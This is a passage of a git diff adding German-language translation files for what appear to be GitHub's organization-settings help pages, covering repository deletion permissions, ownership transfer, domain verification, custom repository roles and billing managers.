+title: Setting permissions for deleting or transferring repositories
+intro: 'You can allow organization members with admin permissions to a repository to delete or transfer the repository, or limit the ability to delete or transfer repositories to organization owners only.'
+redirect_from:
+  - /articles/setting-permissions-for-deleting-or-transferring-repositories-in-your-organization
+  - /articles/setting-permissions-for-deleting-or-transferring-repositories
+  - /github/setting-up-and-managing-organizations-and-teams/setting-permissions-for-deleting-or-transferring-repositories
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Set repo management policy
+---
+
+Owners can set permissions for deleting or transferring repositories in an organization.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}
+5. Under "Repository deletion and transfer", select or deselect **Allow members to delete or transfer repositories for this organization**.
+![Checkbox to allow members to delete repositories](/assets/images/help/organizations/disallow-members-to-delete-repositories.png)
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md
new file mode 100644
index 0000000000..c6c3ad0ed3
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md
@@ -0,0 +1,27 @@
+---
+title: Setting team creation permissions in your organization
+intro: You can allow all organization members to create teams or limit team creation to organization owners.
+redirect_from:
+  - /articles/setting-team-creation-permissions-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/setting-team-creation-permissions-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Restrict team creation
+---
+
+Organization owners can set team creation permissions.
+
+If you do not set team creation permissions, all organization members will be able to create teams by default.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}
+5. Under "Team creation rules", select or deselect **Allow members to create teams**.
+![Checkbox to allow members to create teams](/assets/images/help/organizations/allow-members-to-create-teams.png)
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/transferring-organization-ownership.md b/translations/de-DE/content/organizations/managing-organization-settings/transferring-organization-ownership.md
new file mode 100644
index 0000000000..4d0995c542
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/transferring-organization-ownership.md
@@ -0,0 +1,42 @@
+---
+title: Inhaberschaft an einer Organisation übertragen
+intro: 'Um eine andere Person zum Besitzer eines Organisationskontos zu machen, musst du einen neuen Besitzer{% ifversion fpt or ghec %} hinzufügen, sicherstellen, dass die Abrechnungsinformationen aktualisiert werden{% endif %} und dich selbst dann aus dem Konto entfernen.'
+redirect_from:
+  - /articles/needs-polish-how-do-i-give-ownership-to-an-organization-to-someone-else
+  - /articles/transferring-organization-ownership
+  - /github/setting-up-and-managing-organizations-and-teams/transferring-organization-ownership
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Transfer ownership
+ms.openlocfilehash: 2605af47d008eff7ee786d80f64142a267676ee1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145068313'
+---
+{% ifversion ghec %} {% note %}
+
+**Hinweis:** {% data reusables.enterprise-accounts.invite-organization %}
+
+{% endnote %}{% endif %}
+
+1. Wenn du das einzige Mitglied mit Berechtigungen vom Typ *Besitzer* bist, gib einem anderen Organisationsmitglied ebenfalls die Besitzerrolle. Weitere Informationen findest du unter [Ernennung eines Organisationsinhabers](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization#appointing-an-organization-owner).
+2. Wende dich an den neuen Besitzer, und stelle sicher, dass er [auf die Einstellungen der Organisation zugreifen kann](/articles/accessing-your-organization-s-settings).
+{% ifversion fpt or ghec %}
+3. Wenn du derzeit in deiner Organisation für die Zahlung der Nutzung von GitHub verantwortlich bist, bitte den neuen Besitzer oder einen [Abrechnungsmanager](/articles/adding-a-billing-manager-to-your-organization/), die Zahlungsinformationen der Organisation zu aktualisieren. Weitere Informationen findest du unter [Hinzufügen oder Bearbeiten einer Zahlungsmethode](/articles/adding-or-editing-a-payment-method).
+
+  {% warning %}
+
+  **Warnung:** Durch dein Verlassen der Organisation werden die für dein Organisationskonto hinterlegten Abrechnungsinformationen **nicht** automatisch aktualisiert. Der neue Inhaber oder ein Abrechnungsmanager muss die hinterlegten Abrechnungsinformationen aktualisieren, um deine Kreditkarten- oder PayPal-Daten zu entfernen.
+
+  {% endwarning %}
+
+{% endif %}
+4. [Verlasse selbst](/articles/removing-yourself-from-an-organization) die Organisation.
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service.md b/translations/de-DE/content/organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service.md
new file mode 100644
index 0000000000..4a830f4f4e
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service.md
@@ -0,0 +1,35 @@
+---
+title: Auf Unternehmensnutzungsbedingungen umsteigen
+intro: Organisationen können ein Hochstufen von den Standardnutzungsbedingungen auf die Unternehmensnutzungsbedingungen vornehmen.
+redirect_from:
+  - /articles/upgrading-to-the-corporate-terms-of-service
+  - /github/setting-up-and-managing-organizations-and-teams/upgrading-to-the-corporate-terms-of-service
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Upgrade to Corporate ToS
+ms.openlocfilehash: 071ff249ec112af507c3bb026065281173f64b8a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106211'
+---
+Die Standardnutzungsbedingungen sind eine Vereinbarung zwischen {% data variables.product.prodname_dotcom %} und Ihnen als Einzelperson. Um im Auftrag einer Entität, beispielsweise eines Unternehmens, einer gemeinnützigen Organisation oder einer Gruppe, eine Vereinbarung mit {% data variables.product.prodname_dotcom %} abzuschließen, können Organisationsinhaber ein Hochstufen auf die Unternehmensnutzungsbedingungen vornehmen.
+
+1. Navigiere zu den Einstellungen deiner Organisation, und scrolle zum Feld **Vertragsbedingungen**. ![Scrolle zu den Vertragsbedingungen](/assets/images/help/organizations/account-settings-tos.png)
+
+2. Nachdem du die Unternehmensnutzungsbedingungen gelesen hast, klicke auf **Unternehmensnutzungsbedingungen unterzeichnen**. ![Wähle „Unternehmensnutzungsbedingungen unterzeichnen“ aus.](/assets/images/help/organizations/button-sign-corporate-tos.png)
+
+3. Wähle **Ja, ich möchte diese Bedingungen im Auftrag meines Unternehmens unterzeichnen** aus.
+  ![Kontrollkästchen für die Unterzeichnung im Auftrag deines Unternehmens](/assets/images/help/organizations/sign-on-behalf-business.png)
+4. Gib den Namen des Unternehmens, der gemeinnützigen Organisation oder der Gruppe ein, der das Organisationskonto gehört. Hierbei handelt es sich um die Entität, welche eine Vereinbarung mit {% data variables.product.prodname_dotcom %} abschließt.
+  ![Feld für Unternehmensnamen](/assets/images/help/organizations/business-name-field.png)
+5. Um den Unternehmensnutzungsbedingungen für den Dienst im Auftrag deiner Entität zuzustimmen, klicke auf **Bedingungen akzeptieren**.
+  ![Schaltfläche „Nutzungsbedingungen akzeptieren“](/assets/images/help/organizations/accept-terms-button.png)
+
+## Weiterführende Themen
+- [GitHub-Vertragsbedingungen](/free-pro-team@latest/github/site-policy/github-corporate-terms-of-service)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md
new file mode 100644
index 0000000000..76524a2ce0
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md
@@ -0,0 +1,93 @@
+---
+title: Verifying or approving a domain for your organization
+intro: 'You can verify your ownership of domains with {% data variables.product.company_short %} to confirm your organization''s identity. You can also approve domains that {% data variables.product.company_short %} can send email notifications to for members of your organization.'
+redirect_from:
+  - /articles/verifying-your-organization-s-domain
+  - /articles/verifying-your-organizations-domain
+  - /github/setting-up-and-managing-organizations-and-teams/verifying-your-organizations-domain
+  - /organizations/managing-organization-settings/verifying-your-organizations-domain
+permissions: Organization owners can verify or approve a domain for an organization.
+versions:
+  ghes: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Notifications
+  - Organizations
+  - Policy
+shortTitle: Verify or approve a domain
+---
+
+## About domain verification
+
+After verifying ownership of your organization's domains, a "Verified" badge will display on the organization's profile. {% ifversion ghec %}If your organization has agreed to the Corporate Terms of Service, organization owners will be able to verify the identity of organization members by viewing each member's email address within the verified domain. For more information, see "[About your organization's profile page](/articles/about-your-organization-s-profile/)" and "<a href="/articles/upgrading-to-the-corporate-terms-of-service" class="dotcom-only">Upgrading to the Corporate Terms of Service</a>."{% endif %}
+
+{% ifversion ghec %}If your organization is owned by an enterprise account, a{% elsif ghes %}A{% endif %} "Verified" badge will display on your organization's profile for any domains verified for the enterprise account, in addition to any domains verified for the organization. Organization owners can view any domains that an enterprise owner has verified or approved, and edit the domains if the organization owner is also an enterprise owner. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."
+
+{% ifversion ghec %}
+{% note %}
+
+**Note:** To verify or approve domains, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.organizations.verified-domains-details %}
+
+{% ifversion ghec or ghes %}
+After verifying ownership of your organization's domain, you can restrict email notifications for the organization to that domain. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)."
+{% endif %}
+
+{% ifversion ghec %}You can also verify custom domains used for {% data variables.product.prodname_pages %} to prevent domain takeovers when a custom domain remains configured but your {% data variables.product.prodname_pages %} site is either disabled or no longer uses the domain. For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."{% endif %}
+
+## About domain approval
+
+{% data reusables.enterprise-accounts.approved-domains-beta-note %}
+
+{% data reusables.enterprise-accounts.approved-domains-about %}
+
+After you approve domains for your organization, you can restrict email notifications for activity within the organization to users with verified email addresses within verified or approved domains. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)."
+
+Enterprise owners cannot see which organization members or email addresses receive notifications within approved domains.
+
+Enterprise owners can also approve additional domains for organizations owned by the enterprise. {% ifversion ghec %}For more information, see "[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}{% ifversion ghes %}For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}
+
+## Verifying a domain for your organization
+
+To verify a domain, you must have access to modify domain records with your domain hosting service.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.verified-domains %}
+{% data reusables.organizations.add-a-domain %}
+{% data reusables.organizations.add-domain %}
+{% data reusables.organizations.add-dns-txt-record %}
+1. Wait for your DNS configuration to change, which may take up to 72 hours. You can confirm your DNS configuration has changed by running the `dig` command on the command line, replacing `ORGANIZATION` with the name of your organization and `example.com` with the domain you'd like to verify. You should see your new TXT record listed in the command output.
+   ```shell
+   $ dig _github-challenge-ORGANIZATION.example.com +nostats +nocomments +nocmd TXT
+   ```
+1. After confirming your TXT record is added to your DNS, follow steps one through three above to navigate to your organization's approved and verified domains.
+{% data reusables.organizations.continue-verifying-domain %}
+11. Optionally, once the "Verified" badge is visible on your organization's profile page, you can delete the TXT entry from the DNS record at your domain hosting service.
+![Verified badge](/assets/images/help/organizations/verified-badge.png)
+
+## Approving a domain for your organization
+
+{% data reusables.enterprise-accounts.approved-domains-beta-note %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.verified-domains %}
+{% data reusables.organizations.add-a-domain %}
+{% data reusables.organizations.add-domain %}
+{% data reusables.organizations.domains-approve-it-instead %}
+{% data reusables.organizations.domains-approve-domain %}
+
+## Removing an approved or verified domain
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.verified-domains %}
+1. To the right of the domain to remove, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
+    !["Delete" for a domain](/assets/images/help/organizations/domains-delete.png)
diff --git a/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md
new file mode 100644
index 0000000000..df41b13fd1
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md
@@ -0,0 +1,135 @@
+---
+title: Informationen zu benutzerdefinierten Repositoryrollen
+intro: Du kannst den Zugriff auf die Repositorys deiner Organisation mit benutzerdefinierten Repositoryrollen genauer steuern.
+versions:
+  feature: custom-repository-roles
+topics:
+  - Organizations
+  - Teams
+shortTitle: About custom roles
+ms.openlocfilehash: c4e7f791b9402b45160b31aab2653bf80150ddee
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160688'
+---
+{% data reusables.organizations.custom-repo-roles-ghec-only %}
+
+## Informationen zu benutzerdefinierten Repositoryrollen
+
+Zum Ausführen von Aktionen für {% data variables.product.product_name %}, z. B. zum Erstellen eines Pull Requests in einem Repository oder zum Ändern der Abrechnungseinstellungen einer Organisation, muss eine Person über ausreichenden Zugriff auf das relevante Konto oder die entsprechende Ressource verfügen. Dieser Zugriff wird mit Berechtigungen gesteuert. Eine Berechtigung ist die Möglichkeit, eine bestimmte Aktion auszuführen. Die Möglichkeit, ein Issue zu löschen, ist beispielsweise eine Berechtigung. Eine Rolle ist eine Reihe von Berechtigungen, die du Personen oder Teams zuweisen kannst.
+
+Innerhalb einer Organisation kannst du Rollen auf Organisations-, Team- und Repositoryebene zuweisen. Weitere Informationen zu den verschiedenen Rollenebenen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
+
+Du kannst genauere Kontrolle über die Berechtigungen auf Repositoryebene haben, indem du bis zu drei benutzerdefinierte Repositoryrollen erstellst. {% data reusables.organizations.about-custom-repo-roles %} Weitere Informationen findest du unter „[Verwalten benutzerdefinierter Repositoryrollen für eine Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)“.
+
+Nachdem du eine benutzerdefinierte Rolle erstellt hast, können Benutzer*innen mit Administratorzugriff auf ein Repository die Rolle einer Person oder einem Team zuweisen. Weitere Informationen findest du unter [Verwalten des Zugriffs einer Person auf ein Organisationsrepository](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository) und [Verwalten des Zugriffs eines Teams auf ein Organisationsrepository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository).
+
+{% ifversion custom-repo-role-api %}
+
+Du kannst auch die REST-API verwenden, um benutzerdefinierte Repositoryrollen zu erstellen und zu verwalten. Weitere Informationen findest du unter [Benutzerdefinierte Repositoryrollen](/rest/orgs/custom-roles).
+
+{% else %}
+
+Du kannst die REST-API auch verwenden, um die in deiner Organisation verfügbaren benutzerdefinierten Repositoryrollen aufzulisten. Weitere Informationen findest du unter [API für benutzerdefinierte Repositoryrollen](/rest/orgs/custom-roles).
+
+{% endif %}
+
+## Informationen zur geerbten Rolle
+
+Wenn du eine benutzerdefinierte Repositoryrolle erstellst, beginnst du mit einer geerbten Rolle aus einer Reihe vordefinierter Optionen. Die geerbte Rolle bestimmt die anfänglichen Berechtigungen für die benutzerdefinierte Rolle. Anschließend kannst du die Rolle weiter anpassen, indem du zusätzliche Berechtigungen für sie auswählst. Eine vollständige Liste der verfügbaren Berechtigungen findest du unter [Zusätzliche Berechtigungen für benutzerdefinierte Rollen](#additional-permissions-for-custom-roles).
+
+Deine Optionen für die geerbte Rolle werden für verschiedene Arten von Mitwirkenden in deinem Repository standardisiert.
+
+| Geerbte Rolle | Vorgesehener Zweck |
+|----|----|
+| **Lesen** | Personen, die nicht zum Code beitragen und sich das Projekt nur ansehen oder darüber sprechen möchten |
+| **Eingrenzung** | Mitwirkende, die ohne Schreibzugriff proaktiv Issues und Pull Requests verwalten müssen |
+| **Schreiben** | Organisationsmitglieder und Projektmitarbeiter*innen, die aktiv an dein Projekt pushen |
+| **Verwalten** | Projektmanager*innen, die das Repository ohne Zugriff auf vertrauliche oder destruktive Aktionen verwalten müssen |
+
+## Beispiele für benutzerdefinierte Rollen
+
+Hier findest du einige Beispiele für benutzerdefinierte Repositoryrollen, die du konfigurieren kannst.
+
+| Benutzerdefinierte Repositoryrolle | Zusammenfassung | Geerbte Rolle | Zusätzliche Berechtigungen |
+|----|----|----|----|
+| Security Engineer | Kann am Code mitwirken und die Sicherheitspipeline verwalten | **Verwalten** | Löschen von Ergebnissen des Codescans |
+| Contractor | Kann Webhooks-Integrationen entwickeln | **Schreiben** | Verwalten von Webhooks |
+| Community-Manager | Kann alle Communityinteraktionen durchführen, ohne Code beitragen zu können | **Lesen** | - Markieren eines Issue als Duplikat <br> - Verwalten von GitHub-Seiteneinstellungen <br> - Verwalten von Wiki-Einstellungen <br> - Festlegen der Vorschau für soziale Netzwerke <br> - Bearbeiten von Repositorymetadaten <br> - Triagediskussionen |
+
+## Zusätzliche Berechtigungen für benutzerdefinierte Rollen
+
+Nachdem du eine geerbte Rolle ausgewählt hast, kannst du zusätzliche Berechtigungen für deine benutzerdefinierte Rolle auswählen.
+
+Du kannst nur zusätzliche Berechtigungen auswählen, die noch nicht in der geerbten Rolle enthalten sind. Wenn die geerbte Rolle beispielsweise **Schreibzugriff** auf ein Repository bietet, ist die Berechtigung „Pull Request schließen“ bereits in der geerbten Rolle enthalten.
+
+{% ifversion discussions %}
+### Diskussionen
+
+- Erstellen einer Diskussionskategorie
+- Bearbeiten einer Diskussionskategorie
+- Löschen einer Diskussionskategorie 
+- Markieren oder Aufheben der Markierung von Diskussionsantworten 
+- Ausblenden oder Einblenden von Diskussionskommentaren 
+- Konvertieren von Issues in Diskussionen 
+
+Weitere Informationen findest du unter [{% data variables.product.prodname_discussions %}](/discussions).
+{% endif %}
+
+### Issue und Pull Requests
+
+- Zuweisen oder Entfernen eines Benutzers 
+- Hinzufügen oder Entfernen einer Bezeichnung 
+
+### Problem
+
+- Schließen eines Issue
+- Nochmaliges Öffnen eines geschlossenen Issue
+- Löschen eines Issue
+- Markieren eines Issue als Duplikat
+
+### Pull Request
+
+- Schließen eines Pull Request
+- Nochmaliges Öffnen eines geschlossenen Pull Request
+- Anfordern einer Pull-Request-Review
+
+### Repository
+
+- Festlegen von Meilensteinen
+- Verwalten von Wiki-Einstellungen 
+- Verwalten von Projekteinstellungen
+- Verwalten von Pull Request-Zusammenführungseinstellungen 
+- Verwalten von {% data variables.product.prodname_pages %}-Einstellungen (siehe [Konfigurieren einer Veröffentlichungsquelle für deine {% data variables.product.prodname_pages %}-Website](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site))
+- Verwalten von Webhooks 
+- Verwalten von Bereitstellungsschlüsseln 
+- Bearbeiten von Repositorymetadaten {%- ifversion ghec %}
+- Festlegen von Interaktionsgrenzwerten {%- endif %}
+- Festlegen der Vorschau für soziale Netzwerke 
+- Pushen von Commits in geschützte Branches (Branchschutzregeln gelten weiterhin)
+- Erstellen geschützter Tags
+- Löschen geschützter Tags {%- ifversion bypass-branch-protections %}
+- Umgehen des Branchschutzes {%- endif %}
+
+### Sicherheit
+
+- Anzeigen von {% data variables.product.prodname_code_scanning %}-Ergebnissen 
+- Schließen oder erneutes Öffnen von {% data variables.product.prodname_code_scanning %}-Ergebnissen
+- Löschen von {% data variables.product.prodname_code_scanning %}-Ergebnissen 
+- Anzeigen von {% data variables.product.prodname_dependabot_alerts %} 
+- Schließen oder erneutes Öffnen von {% data variables.product.prodname_dependabot_alerts %} 
+- Anzeigen von {% data variables.product.prodname_secret_scanning %}-Ergebnissen 
+- Schließen oder erneutes Öffnen von {% data variables.product.prodname_secret_scanning %}-Ergebnissen 
+
+## Rangfolge für unterschiedliche Zugriffsstufen
+
+Wenn eine Person auf verschiedenen Wegen unterschiedliche Zugriffsstufen erhält, z. B. die Teammitgliedschaft und die Basisberechtigungen für eine Organisation, setzt die höchste Zugriffsstufe die anderen außer Kraft. Wenn ein*e Organisationsbesitzer*in Organisationsmitgliedern beispielsweise eine benutzerdefinierte Rolle zuteilt, die die geerbte Rolle „Lesezugriff“ verwendet, und dann ein*e Organisationsbesitzer*in die Basisberechtigung der Organisation auf „Schreibzugriff“ festlegt, verfügt diese benutzerdefinierte Rolle über Schreibzugriff sowie über alle zusätzlichen Berechtigungen, die in der benutzerdefinierten Rolle enthalten sind.
+
+{% data reusables.organizations.mixed-roles-warning %}
+
+Um Probleme durch miteinander im Widerspruch stehende Zugriffsberechtigungen zu lösen, kannst du die Basisberechtigungen deiner Organisation oder den Zugriff des Teams anpassen oder die benutzerdefinierte Rolle bearbeiten. Weitere Informationen findest du unter
+  - [Festlegen von Basisberechtigungen für eine Organisation](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization).
+  - [Verwalten des Teamzugriffs auf ein Organisationsrepository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository).
+  - [Bearbeiten einer Repositoryrolle](#editing-a-repository-role).
diff --git a/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
new file mode 100644
index 0000000000..0c22b8b7bb
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
@@ -0,0 +1,74 @@
+---
+title: Hinzufügen von Abrechnungsmanager zu deiner Organisation
+intro: 'Ein *Abrechnungsmanager* ist ein Benutzer oder eine Benutzerin, der oder die die Abrechnungseinstellungen für deine Organisation verwaltet. Er oder sie aktualisiert beispielsweise die Zahlungsinformationen. Es ist eine hilfreiche Option, wenn normale Mitglieder deiner Organisation typischerweise keinen Zugriff auf Abrechnungsressourcen haben.'
+redirect_from:
+  - /articles/adding-a-billing-manager-to-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/adding-a-billing-manager-to-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+  - Billing
+shortTitle: Add a billing manager
+ms.openlocfilehash: f7b4e6d17ff0e6680fdf9509b467f314b1a9e4ec
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106208'
+---
+Mitglieder des Teams „Besitzer“ deiner Organisation können anderen Benutzern *Abrechnungsmanager*-Berechtigungen zuweisen. Wenn ein Benutzer die Einladung, Abrechnungsmanager zu werden, annimmt, kann er weitere Benutzer einladen, Abrechnungsmanager zu werden.
+
+{% note %}
+
+**Hinweis**: Abrechnungsmanager nutzen keine gebührenpflichtige Lizenz im Abonnement deiner Organisation.
+
+{% endnote %}
+
+## Berechtigungen für Abrechnungsmanager
+
+Abrechnungsmanager können
+
+- Das Konto herauf- oder herabstufen,
+- Zahlungsmethoden hinzufügen, aktualisieren oder entfernen,
+- Den Zahlungsverlauf anzeigen,
+- Quittungen herunterladen,
+- Abrechnungsmanager anzeigen, einladen und entfernen.
+- Sponsorings starten, ändern oder abbrechen
+
+Zusätzlich erhalten alle Abrechnungsmanager am Abrechnungsdatum der Organisation per E-Mail Abrechnungsquittungen.
+
+Abrechnungsmanager können folgende Aufgaben **nicht** durchführen:
+
+- Repositorys in deinen Organisationen erstellen oder auf sie zugreifen,
+- Die privaten Mitglieder deiner Organisation sehen,
+- In der Liste der Mitglieder der Organisation gesehen werden,
+- Abonnements für {% data variables.product.prodname_marketplace %}-Apps erwerben, bearbeiten oder stornieren.
+
+{% tip %}
+
+**Tipp**: Wenn deine Organisation [die zweistufige Authentifizierung für Mitglieder, Abrechnungsmanager und externe Mitarbeiter vorschreibt](/articles/requiring-two-factor-authentication-in-your-organization), muss der Benutzer die zweistufige Authentifizierung aktivieren, damit er deine Einladung zur Rolle des Abrechnungsmanagers für die Organisation annehmen kann.
+
+{% endtip %}
+
+## Abrechnungsmanager einladen
+
+{% ifversion ghec %} {% note %}
+
+**Hinweis**: Wenn deine Organisation im Besitz eines Unternehmenskontos ist, kannst du Abrechnungsmanager nicht auf Organisationsebene einladen. Weitere Informationen findest du unter [Informationen zu Unternehmenskonten](/admin/overview/about-enterprise-accounts).
+
+{% endnote %} {% endif %}
+
+Der eingeladene Benutzer erhält eine Einladungs-E-Mail, in der er darum gebeten wird, Abrechnungsmanager für deine Organisation zu werden. Wenn der eingeladene Benutzer in der E-Mail auf den Link zum Annehmen der Einladung klickt, wird er automatisch als Abrechnungsmanager zur Organisation hinzugefügt. Wenn er noch kein GitHub-Konto besitzt, wird er auf eine Seite umgeleitet, auf der er ein Konto erstellen kann. Nach der Erstellung des Kontos wird er automatisch als Abrechnungsmanager zur Organisation hinzugefügt.
+
+{% data reusables.organizations.billing-settings %}
+1. Klicke unter „Abrechnungsverwaltung“ neben „Abrechnungsmanager“ auf **Hinzufügen**.
+  ![Abrechnungsmanager einladen](/assets/images/help/billing/settings_billing_managers_list.png)
+6. Gib den Benutzernamen oder die E-Mail-Adresse der Person ein, die du hinzufügen möchtest, und klicke auf **Einladung senden**.
+  ![Seite zum Einladen eines Abrechnungsmanagers](/assets/images/help/billing/billing_manager_invite.png)
+
+## Weitere Informationsquellen
+
+- [Einladen von Personen zum Verwalten deines Unternehmens](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise) {% ifversion fpt %} in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation{% endif %}
diff --git a/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md
new file mode 100644
index 0000000000..687c5542d6
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md
@@ -0,0 +1,33 @@
+---
+title: Verwalten des Zugriffs von Personen auf deine Organisation mithilfe von Rollen
+intro: 'Du kannst den Zugriff auf die Einstellungen und Repositorys deiner Organisationen steuern, indem du den Benutzer*innen Organisations-, Repository- und Teamrollen zuweist.'
+redirect_from:
+  - /articles/managing-people-s-access-to-your-organization-with-roles
+  - /articles/managing-peoples-access-to-your-organization-with-roles
+  - /github/setting-up-and-managing-organizations-and-teams/managing-peoples-access-to-your-organization-with-roles
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /roles-in-an-organization
+  - /about-custom-repository-roles
+  - /managing-custom-repository-roles-for-an-organization
+  - /maintaining-ownership-continuity-for-your-organization
+  - /adding-a-billing-manager-to-your-organization
+  - /removing-a-billing-manager-from-your-organization
+  - /managing-security-managers-in-your-organization
+  - /managing-moderators-in-your-organization
+shortTitle: Manage access with roles
+ms.openlocfilehash: b687648202fc9e01f99aec644e167e014c1261b1
+ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/02/2022
+ms.locfileid: '148131013'
+---
+
diff --git a/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md
new file mode 100644
index 0000000000..e727498b33
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md
@@ -0,0 +1,50 @@
+---
+title: Aufrechterhaltung der Inhaberkontinuität für deine Organisation
+intro: 'Organisationen können über mehr als einen Organisationsbesitzer verfügen, um Besitzerlücken zu vermeiden.'
+redirect_from:
+  - /articles/changing-a-person-s-role-to-owner
+  - /articles/changing-a-persons-role-to-owner
+  - /github/setting-up-and-managing-organizations-and-teams/changing-a-persons-role-to-owner
+  - /github/setting-up-and-managing-organizations-and-teams/managing-ownership-continuity-for-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/maintaining-ownership-continuity-for-your-organization
+permissions: Organization owners can promote any member of an organization to an organization owner.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Maintain ownership continuity
+ms.openlocfilehash: 636982e8985a79e617b01220df8a63256c874b70
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
